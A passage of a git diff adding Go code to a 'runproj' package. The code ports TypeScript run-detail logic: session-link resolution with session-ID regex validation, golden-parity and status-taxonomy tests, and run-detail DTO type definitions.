+		t.Errorf("explicit pair: got (%q,%q,%v), want (city,main,true)", k, r, ok)
+	}
+	if k, r, ok := fromSnapshotScope(runSnapshot{rootStoreRef: "rig:gascity-packs"}); !ok || k != "rig" || r != "gascity-packs" {
+		t.Errorf("store-ref fallback: got (%q,%q,%v), want (rig,gascity-packs,true)", k, r, ok)
+	}
+	if _, _, ok := fromSnapshotScope(runSnapshot{}); ok {
+		t.Error("empty snapshot: got ok=true, want false")
+	}
+	if _, _, ok := fromSnapshotScope(runSnapshot{rootStoreRef: "not-a-store-ref"}); ok {
+		t.Error("malformed store ref: got ok=true, want false")
+	}
+}
diff --git a/internal/runproj/detail_sessionlink.go b/internal/runproj/detail_sessionlink.go
new file mode 100644
index 0000000000..1886dd1b0f
--- /dev/null
+++ b/internal/runproj/detail_sessionlink.go
@@ -0,0 +1,243 @@
+package runproj
+
+import (
+	"regexp"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// sessionIDRe gates a value before it is fed to the supervisor session routes.
+// Port of TS SESSION_ID_RE (session-id.ts) — lowercase-only, case-sensitive.
+var sessionIDRe = regexp.MustCompile(`^(gc|td|th|[a-z]{4})-[a-z0-9-]{1,32}$`)
+
+// supervisorSessionIDSuffixRe extracts a trailing supervisor id from a
+// pool-qualified handle. Port of the TS suffix match in supervisorSessionIdFrom.
+var supervisorSessionIDSuffixRe = regexp.MustCompile(`(?:^|[-_/])((?:gc|td|th|[a-z]{4})-[a-z0-9-]{1,32})$`)
+
+// runSessionIndex indexes sessions by id, name, and template for run-link
+// resolution. Port of TS RunSessionIndex.
+type runSessionIndex struct {
+	byID       map[string]DashboardSession
+	byName     map[string]DashboardSession
+	byTemplate map[string][]DashboardSession
+}
+
+// runSessionLinkContext carries the session index (and scope) for link
+// resolution. Port of TS RunSessionLinkContext. A nil index mirrors undefined.
+type runSessionLinkContext struct {
+	sessionIndex *runSessionIndex
+	scopeRef     string
+}
+
+// buildRunSessionIndex indexes a session list for link resolution. Port of TS
+// buildRunSessionIndex (first-write-wins for the id/name maps).
+func buildRunSessionIndex(sessions []DashboardSession) runSessionIndex {
+	idx := runSessionIndex{
+		byID:       make(map[string]DashboardSession),
+		byName:     make(map[string]DashboardSession),
+		byTemplate: make(map[string][]DashboardSession),
+	}
+	for _, session := range sessions {
+		rememberSession(idx.byID, session.ID, session)
+		rememberSession(idx.byName, derefString(session.Alias), session)
+		rememberSession(idx.byName, session.Title, session)
+		rememberSession(idx.byName, session.SessionName, session)
+		if template := nonEmpty(session.Template); template != "" {
+			idx.byTemplate[template] = append(idx.byTemplate[template], session)
+		}
+	}
+	return idx
+}
+
+// runSessionLinkFor resolves a bead to a streamable session link, or (zero,
+// false) when none is usable. Port of TS runSessionLinkFor.
+func runSessionLinkFor(bead runSnapshotBead, status string, ctx runSessionLinkContext) (RunSessionLink, bool) {
+	if status == "pending" || status == "ready" {
+		return RunSessionLink{}, false
+	}
+	assignee := nonEmpty(bead.assignee)
+	sessionID := sessionIDFromBead(bead, assignee)
+	sessionName := sessionNameFromBead(bead, assignee, sessionID)
+	if sessionID == "" && sessionName == "" {
+		return RunSessionLink{}, false
+	}
+	rawLink := rawLinkFrom(sessionID, sessionName, assignee)
+	link := resolveRunSessionLink(rawLink, ctx.sessionIndex)
+	if !sessionIDRe.MatchString(link.SessionID) {
+		return RunSessionLink{}, false
+	}
+	return link, true
+}
+
+// sessionIDFromBead resolves the supervisor session id from a bead. Port of TS
+// sessionIdFromBead ("" mirrors undefined).
+func sessionIDFromBead(bead runSnapshotBead, assignee string) string {
+	rawSessionID := beadMeta(bead, "session_id")
+	if rawSessionID == "" {
+		rawSessionID = beadMeta(bead, beadmeta.SessionIDMetadataKey)
+	}
+	if rawSessionID == "" {
+		rawSessionID = beadMeta(bead, beadmeta.SessionIDCamelMetadataKey)
+	}
+	if rawSessionID == "" {
+		rawSessionID = assignee
+	}
+	if supervisor := supervisorSessionIDFrom(rawSessionID); supervisor != "" {
+		return supervisor
+	}
+	return rawSessionID
+}
+
+// sessionNameFromBead resolves the session display name from a bead. Port of TS
+// sessionNameFromBead.
+func sessionNameFromBead(bead runSnapshotBead, assignee, sessionID string) string {
+	if v := beadMeta(bead, "session_name"); v != "" {
+		return v
+	}
+	if v := beadMeta(bead, beadmeta.SessionNameMetadataKey); v != "" {
+		return v
+	}
+	if v := beadMeta(bead, beadmeta.SessionNameCamelMetadataKey); v != "" {
+		return v
+	}
+	if assignee != "" {
+		return assignee
+	}
+	return sessionID
+}
+
+func rawLinkFrom(sessionID, sessionName, assignee string) RunSessionLink {
+	name := sessionName
+	if name == "" {
+		name = sessionID
+	}
+	id := sessionID
+	if id == "" {
+		id = sessionName
+	}
+	resolvedAssignee := assignee
+	if resolvedAssignee == "" {
+		resolvedAssignee = name
+	}
+	return RunSessionLink{SessionID: id, SessionName: name, Assignee: resolvedAssignee}
+}
+
+// supervisorSessionIDFrom extracts a supervisor session id from a raw handle.
+// Port of TS supervisorSessionIdFrom ("" mirrors undefined).
+func supervisorSessionIDFrom(value string) string {
+	clean := nonEmpty(value)
+	if clean == "" {
+		return ""
+	}
+	if sessionIDRe.MatchString(clean) {
+		return clean
+	}
+	m := supervisorSessionIDSuffixRe.FindStringSubmatch(clean)
+	if m == nil {
+		return ""
+	}
+	suffix := m[1]
+	if suffix == "" || !sessionIDRe.MatchString(suffix) {
+		return ""
+	}
+	return suffix
+}
+
+func resolveRunSessionLink(rawLink RunSessionLink, sessionIndex *runSessionIndex) RunSessionLink {
+	if sessionIndex == nil {
+		return rawLink
+	}
+	session, ok := resolveRunSessionSummary(rawLink, *sessionIndex)
+	if !ok {
+		return rawLink
+	}
+	return linkForSession(session, rawLink)
+}
+
+func resolveRunSessionSummary(link RunSessionLink, sessionIndex runSessionIndex) (DashboardSession, bool) {
+	for _, candidate := range []string{link.SessionID, link.SessionName, link.Assignee} {
+		key := nonEmpty(candidate)
+		if key == "" {
+			continue
+		}
+		if session, ok := sessionIndex.byID[key]; ok {
+			return session, true
+		}
+		if session, ok := sessionIndex.byName[key]; ok {
+			return session, true
+		}
+		if session, ok := uniquePreferredSession(sessionIndex.byTemplate[key]); ok {
+			return session, true
+		}
+	}
+	return DashboardSession{}, false
+}
+
+func linkForSession(session DashboardSession, rawLink RunSessionLink) RunSessionLink {
+	// sessionName: nonEmpty(alias) ?? nonEmpty(title) ?? nonEmpty(session_name) ??
+	// nonEmpty(template) ?? rawLink.sessionName. The `??` chain returns the first
+	// trimmed-non-empty value, else rawLink.sessionName verbatim (not trimmed).
+	sessionName := rawLink.SessionName
+	for _, v := range []string{derefString(session.Alias), session.Title, session.SessionName, session.Template} {
+		if t := nonEmpty(v); t != "" {
+			sessionName = t
+			break
+		}
+	}
+
+	// assignee: rawLink.assignee || nonEmpty(template) || nonEmpty(alias) ||
+	// nonEmpty(title) || nonEmpty(session_name) || session.id. The `||` chain
+	// takes rawLink.assignee verbatim when non-empty (JS-truthy), then the first
+	// trimmed-non-empty value, else session.id verbatim.
+	assignee := session.ID
+	switch {
+	case rawLink.Assignee != "":
+		assignee = rawLink.Assignee
+	default:
+		for _, v := range []string{session.Template, derefString(session.Alias), session.Title, session.SessionName} {
+			if t := nonEmpty(v); t != "" {
+				assignee = t
+				break
+			}
+		}
+	}
+
+	return RunSessionLink{SessionID: session.ID, SessionName: sessionName, Assignee: assignee}
+}
+
+func uniquePreferredSession(sessions []DashboardSession) (DashboardSession, bool) {
+	if len(sessions) == 0 {
+		return DashboardSession{}, false
+	}
+	var active []DashboardSession
+	for _, s := range sessions {
+		if s.State == "active" || s.Running {
+			active = append(active, s)
+		}
+	}
+	if len(active) == 1 {
+		return active[0], true
+	}
+	if len(sessions) == 1 {
+		return sessions[0], true
+	}
+	return DashboardSession{}, false
+}
+
+func rememberSession(store map[string]DashboardSession, key string, session DashboardSession) {
+	clean := nonEmpty(key)
+	if clean == "" {
+		return
+	}
+	if _, ok := store[clean]; ok {
+		return
+	}
+	store[clean] = session
+}
+
+func derefString(p *string) string {
+	if p == nil {
+		return ""
+	}
+	return *p
+}
diff --git a/internal/runproj/detail_sessionlink_test.go b/internal/runproj/detail_sessionlink_test.go
new file mode 100644
index 0000000000..198be7fba4
--- /dev/null
+++ b/internal/runproj/detail_sessionlink_test.go
@@ -0,0 +1,72 @@
+package runproj
+
+import "testing"
+
+// TestRunSessionLinkForNormalization ports session-link.test.ts: regression
+// coverage for the rig-store / polecat "invalid session id" bug. A run records
+// its session as a pool-qualified NAME (polecat-gc-333573) whose real supervisor
+// id is the gc-suffix; the link must normalize to the supervisor id or degrade,
+// never leak an unvalidated handle into the session route.
+func TestRunSessionLinkForNormalization(t *testing.T) {
+	var emptyCtx runSessionLinkContext
+
+	t.Run("normalizes a pool-qualified session name in metadata to the supervisor id", func(t *testing.T) {
+		bead := runSnapshotBead{
+			assignee: "polecat-gc-333573",
+			metadata: map[string]string{"session_id": "polecat-gc-333573"},
+		}
+		link, ok := runSessionLinkFor(bead, "done", emptyCtx)
+		if !ok {
+			t.Fatalf("expected a link")
+		}
+		if link.SessionID != "gc-333573" {
+			t.Errorf("sessionID = %q, want %q", link.SessionID, "gc-333573")
+		}
+	})
+
+	t.Run("leaves a clean gc-prefixed session id unchanged", func(t *testing.T) {
+		bead := runSnapshotBead{metadata: map[string]string{"session_id": "gc-333573"}}
+		link, ok := runSessionLinkFor(bead, "done", emptyCtx)
+		if !ok {
+			t.Fatalf("expected a link")
+		}
+		if link.SessionID != "gc-333573" {
+			t.Errorf("sessionID = %q, want %q", link.SessionID, "gc-333573")
+		}
+	})
+
+	t.Run("derives the id from a pool-qualified assignee when no metadata id is present", func(t *testing.T) {
+		bead := runSnapshotBead{assignee: "polecat-gc-333573"}
+		link, ok := runSessionLinkFor(bead, "done", emptyCtx)
+		if !ok {
+			t.Fatalf("expected a link")
+		}
+		if link.SessionID != "gc-333573" {
+			t.Errorf("sessionID = %q, want %q", link.SessionID, "gc-333573")
+		}
+	})
+
+	t.Run("degrades to no link when an unresolvable value carries no supervisor id", func(t *testing.T) {
+		bead := runSnapshotBead{metadata: map[string]string{"session_id": "mystery-handle"}}
+		if _, ok := runSessionLinkFor(bead, "done", emptyCtx); ok {
+			t.Errorf("expected no link for an unresolvable handle")
+		}
+	})
+
+	t.Run("degrades a runtime-derived bare assignee that cannot yield a supervisor id", func(t *testing.T) {
+		bead := runSnapshotBead{assignee: "polecat"}
+		if _, ok := runSessionLinkFor(bead, "done", emptyCtx); ok {
+			t.Errorf("expected no link for a bare worker name")
+		}
+	})
+
+	t.Run("returns no link for pending/ready nodes (no session yet)", func(t *testing.T) {
+		bead := runSnapshotBead{assignee: "polecat-gc-333573"}
+		if _, ok := runSessionLinkFor(bead, "pending", emptyCtx); ok {
+			t.Errorf("expected no link for a pending node")
+		}
+		if _, ok := runSessionLinkFor(bead, "ready", emptyCtx); ok {
+			t.Errorf("expected no link for a ready node")
+		}
+	})
+}
diff --git a/internal/runproj/detail_snapshot_test.go b/internal/runproj/detail_snapshot_test.go
new file mode 100644
index 0000000000..f77575380e
--- /dev/null
+++ b/internal/runproj/detail_snapshot_test.go
@@ -0,0 +1,133 @@
+package runproj
+
+import (
+	"bytes"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// loadDetailFixture reads the shared bead fixture used by the golden tests.
+func loadDetailFixture(t *testing.T) []beads.Bead {
+	t.Helper()
+	raw, err := os.ReadFile(filepath.Join("testdata", "beads_fixture.json"))
+	if err != nil {
+		t.Fatalf("read fixture: %v", err)
+	}
+	var beadList []beads.Bead
+	if err := json.Unmarshal(raw, &beadList); err != nil {
+		t.Fatalf("unmarshal fixture: %v", err)
+	}
+	return beadList
+}
+
+// TestFormulaTargetFromSnapshotMatchesRunFormulaTargetForRun proves the
+// single-scan formula-target extraction (off a snapshot built with the REAL
+// version/seq) resolves the exact same (name, target, scope) tuple the old
+// zero-version RunFormulaTargetForRun path did. This is the byte-identity guard
+// for Part A's key risk: the formula-target metadata read must not depend on the
+// snapshot's version/eventSeq identity fields.
+func TestFormulaTargetFromSnapshotMatchesRunFormulaTargetForRun(t *testing.T) {
+	beadList := loadDetailFixture(t)
+
+	// The old path builds its snapshot at version=0, eventSeq=0.
+	wantName, wantTarget, wantKind, wantRef, wantOK := RunFormulaTargetForRun(beadList, detailGoldenRunID)
+	if !wantOK {
+		t.Fatalf("RunFormulaTargetForRun(%q) not ok; fixture must carry a formula target", detailGoldenRunID)
+	}
+
+	// The new path builds ONE snapshot at the real version/seq and extracts the
+	// target from it.
+	snap, err := SnapshotForRun(beadList, detailGoldenRunID, detailGoldenSnapshotVersion, detailGoldenSnapshotEventSeq)
+	if err != nil {
+		t.Fatalf("SnapshotForRun: %v", err)
+	}
+	gotName, gotTarget, gotKind, gotRef, gotOK := FormulaTargetFromSnapshot(snap)
+	if gotOK != wantOK || gotName != wantName || gotTarget != wantTarget || gotKind != wantKind || gotRef != wantRef {
+		t.Fatalf("FormulaTargetFromSnapshot = (%q,%q,%q,%q,%v), want (%q,%q,%q,%q,%v) — target must be version/seq-independent",
+			gotName, gotTarget, gotKind, gotRef, gotOK, wantName, wantTarget, wantKind, wantRef, wantOK)
+	}
+}
+
+// TestBuildRunDetailFromSnapshotMatchesGolden proves detail built off the shared
+// single snapshot is byte-identical to the two-call golden path.
+func TestBuildRunDetailFromSnapshotMatchesGolden(t *testing.T) {
+	beadList := loadDetailFixture(t)
+
+	snap, err := SnapshotForRun(beadList, detailGoldenRunID, detailGoldenSnapshotVersion, detailGoldenSnapshotEventSeq)
+	if err != nil {
+		t.Fatalf("SnapshotForRun: %v", err)
+	}
+	fromSnap, err := BuildRunDetailFromSnapshot(snap, nil, nil, FormulaDetailUpstreamError)
+	if err != nil {
+		t.Fatalf("BuildRunDetailFromSnapshot: %v", err)
+	}
+	gotSnap, err := canonicalJSON(fromSnap)
+	if err != nil {
+		t.Fatalf("marshal from-snapshot detail: %v", err)
+	}
+
+	want, err := os.ReadFile(filepath.Join("testdata", "rundetail_golden.json"))
+	if err != nil {
+		t.Fatalf("read golden: %v", err)
+	}
+	if !bytes.Equal(gotSnap, want) {
+		t.Errorf("BuildRunDetailFromSnapshot does not match golden:\n%s", unifiedDiff(string(want), string(gotSnap)))
+	}
+
+	// And it equals the two-call BuildRunDetail byte-for-byte.
+	twoCall, err := BuildRunDetail(beadList, detailGoldenRunID, detailGoldenSnapshotVersion, detailGoldenSnapshotEventSeq)
+	if err != nil {
+		t.Fatalf("BuildRunDetail: %v", err)
+	}
+	gotTwo, err := canonicalJSON(twoCall)
+	if err != nil {
+		t.Fatalf("marshal two-call detail: %v", err)
+	}
+	if !bytes.Equal(gotSnap, gotTwo) {
+		t.Errorf("from-snapshot detail differs from two-call detail:\n%s", unifiedDiff(string(gotTwo), string(gotSnap)))
+	}
+}
+
+// TestBuildRunDetailForRunScansOnce proves the combined single-scan entry point
+// runs snapshotForRun exactly once, unlike the old detail() path that scanned
+// twice (once for the formula target, once for the build).
+func TestBuildRunDetailForRunScansOnce(t *testing.T) {
+	beadList := loadDetailFixture(t)
+
+	before := snapshotScanCount.Load()
+	detail, name, target, scopeKind, scopeRef, targetOK, err := BuildRunDetailForRun(
+		beadList, detailGoldenRunID, detailGoldenSnapshotVersion, detailGoldenSnapshotEventSeq,
+		nil, nil, FormulaDetailUpstreamError,
+	)
+	if err != nil {
+		t.Fatalf("BuildRunDetailForRun: %v", err)
+	}
+	scans := snapshotScanCount.Load() - before
+	if scans != 1 {
+		t.Fatalf("snapshotForRun ran %d times per BuildRunDetailForRun, want exactly 1", scans)
+	}
+
+	// The combined entry returns the same target the standalone resolver does.
+	wantName, wantTarget, wantKind, wantRef, wantOK := RunFormulaTargetForRun(beadList, detailGoldenRunID)
+	if targetOK != wantOK || name != wantName || target != wantTarget || scopeKind != wantKind || scopeRef != wantRef {
+		t.Fatalf("combined target = (%q,%q,%q,%q,%v), want (%q,%q,%q,%q,%v)",
+			name, target, scopeKind, scopeRef, targetOK, wantName, wantTarget, wantKind, wantRef, wantOK)
+	}
+
+	// And its detail is byte-identical to the golden.
+	got, err := canonicalJSON(detail)
+	if err != nil {
+		t.Fatalf("marshal combined detail: %v", err)
+	}
+	want, err := os.ReadFile(filepath.Join("testdata", "rundetail_golden.json"))
+	if err != nil {
+		t.Fatalf("read golden: %v", err)
+	}
+	if !bytes.Equal(got, want) {
+		t.Errorf("BuildRunDetailForRun detail does not match golden:\n%s", unifiedDiff(string(want), string(got)))
+	}
+}
diff --git a/internal/runproj/detail_terminal_test.go b/internal/runproj/detail_terminal_test.go
new file mode 100644
index 0000000000..630f4caeeb
--- /dev/null
+++ b/internal/runproj/detail_terminal_test.go
@@ -0,0 +1,162 @@
+package runproj
+
+import (
+	"testing"
+)
+
+// allRunNodeStatuses enumerates every RunNodeStatus value from
+// shared/src/run-detail.ts. It is the guard for the terminality taxonomy: the
+// test below asserts each value here is classified into exactly one of the
+// terminal/non-terminal partitions, so an unclassified status fails here instead
+// of silently changing run terminality. NOTE: this list is a hand-maintained
+// mirror of the TS RunNodeStatus union — the guard only fires for a new status
+// if it is added to BOTH the TS type AND this list, so keep the two in lockstep.
+var allRunNodeStatuses = []string{
+	"pending",
+	"ready",
+	"running",
+	"active",
+	"done",
+	"completed",
+	"failed",
+	"blocked",
+	"skipped",
+}
+
+// TestRunNodeStatusTaxonomyIsExhaustive proves every RunNodeStatus is classified
+// exactly once across the terminal and non-terminal partitions. A newly-added
+// status that is not placed in either list (or is placed in both) fails.
+func TestRunNodeStatusTaxonomyIsExhaustive(t *testing.T) {
+	classification := map[string]int{}
+	for _, s := range terminalRunNodeStatuses {
+		classification[s]++
+	}
+	for _, s := range nonTerminalRunNodeStatuses {
+		classification[s]++
+	}
+
+	for _, status := range allRunNodeStatuses {
+		switch classification[status] {
+		case 0:
+			t.Errorf("status %q is unclassified: add it to terminalRunNodeStatuses or nonTerminalRunNodeStatuses", status)
+		case 1:
+			// classified exactly once — good
+		default:
+			t.Errorf("status %q is classified %d times: it must appear in exactly one taxonomy list", status, classification[status])
+		}
+	}
+
+	// No taxonomy list may reference a status that is not a known RunNodeStatus.
+	known := map[string]bool{}
+	for _, s := range allRunNodeStatuses {
+		known[s] = true
+	}
+	for _, s := range append(append([]string{}, terminalRunNodeStatuses...), nonTerminalRunNodeStatuses...) {
+		if !known[s] {
+			t.Errorf("taxonomy references unknown status %q — remove it or add it to allRunNodeStatuses", s)
+		}
+	}
+}
+
+// TestDeriveRunTerminal proves the Go derivation matches the retired client
+// isTerminalProgress fold across representative cases.
+func TestDeriveRunTerminal(t *testing.T) {
+	tests := []struct {
+		name         string
+		statuses     map[string]int
+		visibleCount int
+		want         bool
+	}{
+		{
+			name:         "empty run is not terminal",
+			statuses:     nil,
+			visibleCount: 0,
+			want:         false,
+		},
+		{
+			name:         "zero visible nodes is not terminal even with terminal counts",
+			statuses:     map[string]int{"completed": 3},
+			visibleCount: 0,
+			want:         false,
+		},
+		{
+			name:         "all terminal covering every visible node is terminal",
+			statuses:     map[string]int{"completed": 2, "done": 1, "failed": 1, "skipped": 1},
+			visibleCount: 5,
+			want:         true,
+		},
+		{
+			name:         "one running node is not terminal",
+			statuses:     map[string]int{"completed": 4, "running": 1},
+			visibleCount: 5,
+			want:         false,
+		},
+		{
+			name:         "one active node is not terminal (golden dt-adopt1 shape)",
+			statuses:     map[string]int{"ready": 1, "completed": 3, "active": 1},
+			visibleCount: 5,
+			want:         false,
+		},
+		{
+			name:         "terminal tally short of visible count is not terminal",
+			statuses:     map[string]int{"completed": 2},
+			visibleCount: 5,
+			want:         false,
+		},
+		{
+			name:         "single completed node is terminal",
+			statuses:     map[string]int{"completed": 1},
+			visibleCount: 1,
+			want:         true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			counts := statusCountsFrom(tt.statuses)
+			if got := deriveRunTerminal(counts, tt.visibleCount); got != tt.want {
+				t.Errorf("deriveRunTerminal(%v, %d) = %v, want %v", tt.statuses, tt.visibleCount, got, tt.want)
+			}
+		})
+	}
+}
+
+// TestDeriveRunTerminalMatchesClientFoldPerStatus feeds a single-node run of each
+// status and asserts terminality equals the status's taxonomy class — the exact
+// equivalence the retired client fold provided.
+func TestDeriveRunTerminalMatchesClientFoldPerStatus(t *testing.T) {
+	terminal := map[string]bool{}
+	for _, s := range terminalRunNodeStatuses {
+		terminal[s] = true
+	}
+	for _, status := range allRunNodeStatuses {
+		counts := statusCountsFrom(map[string]int{status: 1})
+		got := deriveRunTerminal(counts, 1)
+		if want := terminal[status]; got != want {
+			t.Errorf("single %q node: deriveRunTerminal = %v, want %v", status, got, want)
+		}
+	}
+}
+
+// statusCountsFrom builds a nodeStatusCounts from a plain map, using the exported
+// inc path so the internal representation matches production.
+func statusCountsFrom(m map[string]int) nodeStatusCounts {
+	var counts nodeStatusCounts
+	// Iterate allRunNodeStatuses for a deterministic key order; any status not
+	// in the canonical set is appended afterwards so callers can still test
+	// unexpected values.
+	for _, status := range allRunNodeStatuses {
+		for i := 0; i < m[status]; i++ {
+			counts.inc(status)
+		}
+	}
+	for status, n := range m {
+		if _, known := counts.counts[status]; known {
+			continue
+		}
+		for i := 0; i < n; i++ {
+			counts.inc(status)
+		}
+	}
+	return counts
+}
diff --git a/internal/runproj/detail_types.go b/internal/runproj/detail_types.go
new file mode 100644
index 0000000000..661b7d48d9
--- /dev/null
+++ b/internal/runproj/detail_types.go
@@ -0,0 +1,280 @@
+package runproj
+
+// The run-detail DTO is a faithful Go port of the TypeScript FormulaRunDetail
+// (internal/api/dashboardspa/web/shared/src/run-detail.ts) and the run-snapshot
+// input shape (run-snapshot.ts). BuildRunDetail folds a city's beads into one
+// run's detail graph, the SAME projection the supervisor's /workflow/{id} route
+// produced client-side. Field order in these structs is load-bearing: the
+// golden-parity test marshals them with the same canonical JSON the TS generator
+// used (JSON.stringify(..., 2)), so the JSON key order must match the TS
+// object-literal key order the detail pipeline emits.
+
+// runSnapshotDep is a raw dependency edge from a run snapshot. Port of TS
+// RunSnapshotDep. Kept package-internal: BuildRunDetail synthesizes deps from the
+// folded beads (the supervisor's RunSnapshot is not on the OSS-local path).
+type runSnapshotDep struct {
+	from string
+	to   string
+	kind string
+}
+
+// runSnapshotBead is one bead row inside a run snapshot — supervisor wire shape,
+// not the dashboard display node. Port of TS RunSnapshotBead. Package-internal:
+// it is projected from beads.Bead by toRunSnapshotBead.
+type runSnapshotBead struct {
+	id            string
+	title         string
+	status        string
+	kind          string
+	stepRef       string
+	attempt       *int
+	logicalBeadID string
+	scopeRef      string
+	assignee      string
+	metadata      map[string]string
+}
+
+// runSnapshot is the dashboard-normalized supervisor snapshot. Port of TS
+// RunSnapshot. BuildRunDetail synthesizes it from the folded beads, mirroring the
+// golden generator's snapshotForRun.
+type runSnapshot struct {
+	runID             string
+	rootBeadID        string
+	rootStoreRef      string
+	resolvedRootStore string
+	scopeKind         string
+	scopeRef          string
+	snapshotVersion   int
+	snapshotEventSeq  *int64
+	partial           bool
+	storesScanned     []string
+	beads             []runSnapshotBead
+	deps              []runSnapshotDep
+	logicalEdges      []runSnapshotDep
+}
+
+// RunFormula is the run's formula-identity union. TS RunFormula:
+// {kind:'known', name, source} | {kind:'unavailable', reason}.
+type RunFormula struct {
+	Kind   string // "known" | "unavailable"
+	Name   string
+	Source string // "metadata" | "title_fallback"
+	Reason string // "missing_formula_metadata"
+}
+
+// RunFormulaDetailState is the compiled-formula-detail union. TS
+// RunFormulaDetailState (four arms).
+type RunFormulaDetailState struct {
+	Kind    string // "available" | "unavailable"
+	Name    string
+	Target  string
+	Reason  string // "missing_formula_metadata" | "missing_run_target" | "fetch_failed"
+	Failure string // RunFormulaDetailFetchFailure (fetch_failed arm only)
+}
+
+// RunExecutionPath is the run-diff execution-path union. TS RunExecutionPath:
+// {kind:'known', path} | {kind:'unavailable', reason}.
+type RunExecutionPath struct {
+	Kind   string // "known" | "unavailable"
+	Path   string
+	Reason string // "missing_cwd_and_rig_root"
+}
+
+// RunSnapshotSequence is the snapshot-event-seq union. TS RunSnapshotSequence:
+// {kind:'known', seq} | {kind:'unavailable', reason:'supervisor_omitted'}.
+type RunSnapshotSequence struct {
+	Kind   string // "known" | "unavailable"
+	Seq    int64
+	Reason string // "supervisor_omitted"
+}
+
+// FormulaRunCompleteness is the completeness union. TS FormulaRunCompleteness:
+// {kind:'complete'} | {kind:'partial', reasons}.
+type FormulaRunCompleteness struct {
+	Kind    string // "complete" | "partial"
+	Reasons []string
+}
+
+// RunNodeScope is the per-node scope union. TS RunNodeScope:
+// {kind:'run'} | {kind:'scoped', ref}.
+type RunNodeScope struct {
+	Kind string // "run" | "scoped"
+	Ref  string
+}
+
+// RunIteration is the loop-iteration union. TS RunIteration:
+// {kind:'base'} | {kind:'loop', value}.
+type RunIteration struct {
+	Kind  string // "base" | "loop"
+	Value int
+}
+
+// RunAttempt is the attempt union. TS RunAttempt:
+// {kind:'untracked'} | {kind:'attempt', value}.
+type RunAttempt struct {
+	Kind  string // "untracked" | "attempt"
+	Value int
+}
+
+// RunSessionLink is a resolved session reference. Port of TS RunSessionLink.
+type RunSessionLink struct {
+	SessionID   string `json:"sessionId"`
+	SessionName string `json:"sessionName"`
+	Assignee    string `json:"assignee"`
+}
+
+// RunSessionAttachment is the per-instance session union. TS
+// RunSessionAttachment:
+// {kind:'attached', link, streamable} | {kind:'none', reason}.
+type RunSessionAttachment struct {
+	Kind       string // "attached" | "none"
+	Link       RunSessionLink
+	Streamable bool
+	Reason     string // "not_started" | "session_unresolved"
+}
+
+// RunIterationSummary is the node-level iteration summary union. TS
+// RunIterationSummary: {kind:'single'} | {kind:'stacked', visibleIteration,
+// iterationCount, control}.
+type RunIterationSummary struct {
+	Kind             string // "single" | "stacked"
+	VisibleIteration int
+	IterationCount   int
+	Control          RunIterationControl
+}
+
+// RunIterationControl is the stacked-summary control union. TS:
+// {kind:'known', id} | {kind:'unknown'}.
+type RunIterationControl struct {
+	Kind string // "known" | "unknown"
+	ID   string
+}
+
+// RunAttemptSummary is the node-level attempt summary union. TS
+// RunAttemptSummary: {kind:'none'} | {kind:'tracked', count, badge, active}.
+type RunAttemptSummary struct {
+	Kind   string // "none" | "tracked"
+	Count  int
+	Badge  RunAttemptBadge
+	Active RunAttemptActive
+}
+
+// RunAttemptBadge is the tracked-summary badge union. TS:
+// {kind:'bounded', label} | {kind:'count-only'}.
+type RunAttemptBadge struct {
+	Kind  string // "bounded" | "count-only"
+	Label string
+}
+
+// RunAttemptActive is the tracked-summary active union. TS:
+// {kind:'running', value} | {kind:'idle'}.
+type RunAttemptActive struct {
+	Kind  string // "running" | "idle"
+	Value int
+}
+
+// RunExecutionInstance is one physical bead execution behind a semantic node.
+// Port of TS RunExecutionInstance. Field order matches the object literal in
+// buildExecutionInstance (execution-instances.ts).
+type RunExecutionInstance struct {
+	ID               string               `json:"id"`
+	SemanticNodeID   string               `json:"semanticNodeId"`
+	BeadID           string               `json:"beadId"`
+	Iteration        RunIteration         `json:"iteration"`
+	Attempt          RunAttempt           `json:"attempt"`
+	Label            string               `json:"label"`
+	Status           string               `json:"status"`
+	Session          RunSessionAttachment `json:"session"`
+	CurrentIteration bool                 `json:"currentIteration"`
+	Historical       bool                 `json:"historical"`
+}
+
+// RunControlBadge is a hidden-construct badge attached to a visible node. Port of
+// TS RunControlBadge.
+type RunControlBadge struct {
+	ID     string `json:"id"`
+	Label  string `json:"label"`
+	Status string `json:"status"`
+}
+
+// RunDisplayNode is one semantic node in the run graph. Port of TS
+// RunDisplayNode. Field order matches the run-detail.ts interface (the object
+// literal in buildRunDisplayNode emits the same order).
+type RunDisplayNode struct {
+	ID                         string                 `json:"id"`
+	SemanticNodeID             string                 `json:"semanticNodeId"`
+	Title                      string                 `json:"title"`
+	Kind                       string                 `json:"kind"`
+	ConstructKind              string                 `json:"constructKind"`
+	Status                     string                 `json:"status"`
+	CurrentBeadID              string                 `json:"currentBeadId"`
+	Scope                      RunNodeScope           `json:"scope"`
+	VisibleInGraph             bool                   `json:"visibleInGraph"`
+	HistoricalOnly             bool                   `json:"historicalOnly"`
+	IterationSummary           RunIterationSummary    `json:"iterationSummary"`
+	AttemptSummary             RunAttemptSummary      `json:"attemptSummary"`
+	VisibleExecutionInstanceID string                 `json:"visibleExecutionInstanceId"`
+	ExecutionInstances         []RunExecutionInstance `json:"executionInstances"`
+	ControlBadges              []RunControlBadge      `json:"controlBadges"`
+}
+
+// RunDisplayEdge is a directed edge between semantic nodes. Port of TS
+// RunDisplayEdge.
+type RunDisplayEdge struct {
+	From string `json:"from"`
+	To   string `json:"to"`
+	Kind string `json:"kind"`
+}
+
+// RunDisplayLane groups nodes by scope. Port of TS RunDisplayLane.
+type RunDisplayLane struct {
+	ID      string   `json:"id"`
+	Label   string   `json:"label"`
+	NodeIDs []string `json:"nodeIds"`
+}
+
+// FormulaRunProgress is the run progress/census summary. Port of TS
+// FormulaRunProgress. Field order matches buildFormulaRunProgress (formula-run.ts).
+type FormulaRunProgress struct {
+	SnapshotVersion        int                 `json:"snapshotVersion"`
+	SnapshotEventSeq       RunSnapshotSequence `json:"snapshotEventSeq"`
+	SnapshotPartial        bool                `json:"snapshotPartial"`
+	TotalNodeCount         int                 `json:"totalNodeCount"`
+	VisibleNodeCount       int                 `json:"visibleNodeCount"`
+	EdgeCount              int                 `json:"edgeCount"`
+	ExecutionInstanceCount int                 `json:"executionInstanceCount"`
+	SessionLinkCount       int                 `json:"sessionLinkCount"`
+	StreamableSessionCount int                 `json:"streamableSessionCount"`
+	StreamableSessionIDs   []string            `json:"streamableSessionIds"`
